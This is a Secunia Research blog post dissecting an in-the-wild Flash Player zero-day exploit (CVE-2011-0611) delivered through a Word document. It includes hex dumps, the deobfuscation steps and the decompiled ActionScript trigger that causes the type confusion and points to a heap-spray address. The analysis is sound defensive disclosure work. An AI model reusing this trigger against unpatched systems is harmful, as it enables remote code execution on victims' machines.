navigation bar left navigation bar right

Secunia CSI7
navigation left tab About us navigation right tab
navigation left tab Careers navigation right tab
navigation left tab Memberships navigation right tab
navigation left tab Newsroom navigation right tab
navigation left tab Contact us navigation right tab
Blog
News
Articles

Adobe Flash Player 0-day Exploit Analysis (CVE-2011-0611)

Get this blog as an RSS Feed
16:25 CET on the 14th April 2011
Entry written by Secunia Research.

A step-by-step discussion of the latest Flash Player 0-day exploit

As mentioned in our previous blog post and Secunia Advisory SA44119, a new Adobe Flash Player 0-day vulnerability is currently being exploited in the wild through Microsoft Word (*.doc) documents. The vulnerability is currently unpatched, though Adobe has scheduled a fix for Flash Player tomorrow, Friday April 15th and for Adobe Reader/Acrobat on June 14th.

The Word document is named: "Disentangling Industrial Policy and Competition Policy.doc" and embeds a SWF file at offset 0x2E08, the stream having a size of 0x2775 bytes.

00002E00  66 55 66 55 75 27 00 00 46 57 53 0A 75 27 00 00 fUfUu'..FWS.u'..
00002E10 78 00 05 5F 00 00 0F A0 00 00 18 01 00 44 11 08 x.._.........D..
00002E20 00 00 00 43 02 FF FF FF BF 15 0B 00 00 00 01 00 ...C............
00002E30 53 63 65 6E 65 20 31 00 00 BF 14 1A 27 00 00 01 Scene 1.....'...

The embedded SWF loads a secondary SWF file at runtime through a call to flash.display.Loader.loadBytes() from the "t" property. It is this secondary SWF that actually triggers the vulnerability, but it is heavily obfuscated and, therefore, not straight-forward to analyse as it manages to confuse ActionScript disassemblers, some crashing while others stop providing disassembly prematurely.

The first apparently intentional alteration of the file is the incorrect declaration of the size of a group of included constants. Namely, the size value of 0x15 included at offset 0x3D in the SWF does not correspond to the actual size of the constants (0x14), causing some disassemblers to interpret following code from an incorrect offset.

00000030  0E 12 9D 02 00 4C 04 9D 02 00 18 00 88 15 00 09 .....L..........
00000040 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 .A.B.C.D.E.F.G.H
00000050 00 49 00 A1 8E 11 00 64 65 66 61 75 6C 74 00 01 .I.....default..

This can be fixed by adding one character to the last constant.

00000050  00 49 49 00 8E 11 00 64 65 66 61 75 6C 74 00 01 .II....default..

Disassemblers still refuse to present proper disassembly due to the incorrect structure of the included DOACTION tag (DOACTION tags contain ActionScript bytecode in AVM2). The size of the DOACTION tag is declared as 0x05A7 inside the SWF, but the last included tags are incorrectly formed, causing overly large read attempts. This can be fixed by setting all bytes starting at offset 0x5B2 to zero (interpreted as end action tags).

It is now possible to extract the disassembly, but other problems are encountered: Several unnecessary instructions making the code difficult to read are included, but can be eliminated.

An example is the code block:

push 1212792920, -1212792921
bitwiseAnd
branchIfTrue label2
label2:

This can eliminated completely since label2 is reached in all cases. Many other cases involving unnecessary stack manipulations can also be eliminated in the process.

The SWF is further obfuscated through the use of several jumps back and forth inside the code.

An example of this is:

label2:
branch label7
label3:
new
push 191919126
dup
... multiple lines follow
label7:
push X_PROPERTY, UNDEF, X_PROPERTY, c:0
branch label3

This can be simplified by moving label7 before label3 and eliminating both "branch" instructions.

After obtaining a better arranged code stream, the next step is to decode two important string constants included in an encoded form. These strings are included as: "VkduhgRemhfw1surwrw|sh" and "Gdwh1surwrw|sh". By studying the disassembly it can be observed that the "VkduhgRemhfw1surwrw|sh" constant is passed in a call to an internally declared "default" function prior to further usage.

constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case',
'TextFormat', 'size', 'c_fun',
'VkduhgRemhfw1surwrw|sh', 'default',...
...
push c:8, c:9, 1, c:10 //c:9 is "VkduhgRemhfw1surwrw|sh" and c:10 is "default"
callFunction

The "default" function transforms an input string by subtracting 3 from each of its characters.

push r:3, r:1, 1, r:2, c:2 //String.charCodeAt
callMethod
push 3
subtract //String.charCodeAt(i) - 3
push 1, c:0 //String
getVariable
push c:3 //fromCharCode
callMethod
add
setRegister r:3
...
push r:3
return

After applying the transformation to the encoded constants, the "SharedObject.prototype" and "Date.prototype" strings are obtained. Further simplification of the code is then possible by eliminating the encoding function and various other instructions.

All in all, more than 250 lines of assembly can be eliminated in the process, resulting in the following ActionScript code when decompiled:

Date.prototype.c_fun = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {
this.c_fun();
};

var eval(0) = new Date(1.41466385537348e-315);
(eval(0)).getDay();

Further analysis of the vulnerability caused by this code shows that it's another object type confusion vulnerability occurring in SharedObject.prototype.getSize() when a Date class is extended by adding a custom function obtained via SharedObject.prototype.getSize. The Date object is initialised with the 1.41466385537348e-315 value, which transforms to 0x11111110 when saved in memory. 0x11111110 is an address suitable for heap spraying.

When the custom Date.c_fun() function is called, SharedObject.prototype.getSize() is reached and incorrectly interprets the passed Date object as having a SharedObject type, attempting to use 0x11111110 as a pointer to a virtual function table.

In conclusion, the vulnerability is proved to be obfuscated to a large degree and is also technically interesting in nature. The SWF requires no manipulation of the ActionScript bytecode after compilation from its source.

Secunia Research

Discuss this blog entry
A new thread in our forum is created. Activate the thread by commenting/discussing below.
Subject: Adobe Flash Player 0-day Exploit Analysis (CVE-2011-0611)
 
User Message
[+]

wingdbg

RE: Adobe Flash Player 0-day Exploit Analysis (CVE-2011-0611)
This reply has been minimised due to a negative Relevancy Score.

wingdbg

RE: Adobe Flash Player 0-day Exploit Analysis (CVE-2011-0611)
[+]
This reply has been minimised due to a negative Relevancy Score.

-

You must be logged in to post a comment.



 Products Solutions Customers Partner Resources Company
 
 Corporate
Vulnerability Intelligence Manager (VIM)
Corporate Software Inspector (CSI)
Consumer
Personal Software Inspector (PSI)
Online Software Inspector (OSI)
 Industry
Compliance
Technology
Integration
 Customers
Testimonials
 MSSP
Technology Partners
References
 Reports
Webinars
Events
 About us
Careers
Memberships
Newsroom


Secunia is a member of FIRST Secunia is a member of EDUcause Secunia is a member of The Open Group Secunia is a member of FS-ISAC
 
Secunia © 2002-2014 Secunia ApS - Rued Langgaards Vej 8, 4th floor, DK-2300 Copenhagen, Denmark - +45 7020 5144
Terms & Conditions and Copyright - Privacy - Report Vulnerability - Disclaimer
follow Secunia on Facebook follow Secunia on Twitter follow Secunia on LinkedIn follow Secunia on YouTube follow Secunia Xing follow Secunias RSS feed follow Secunia on Google+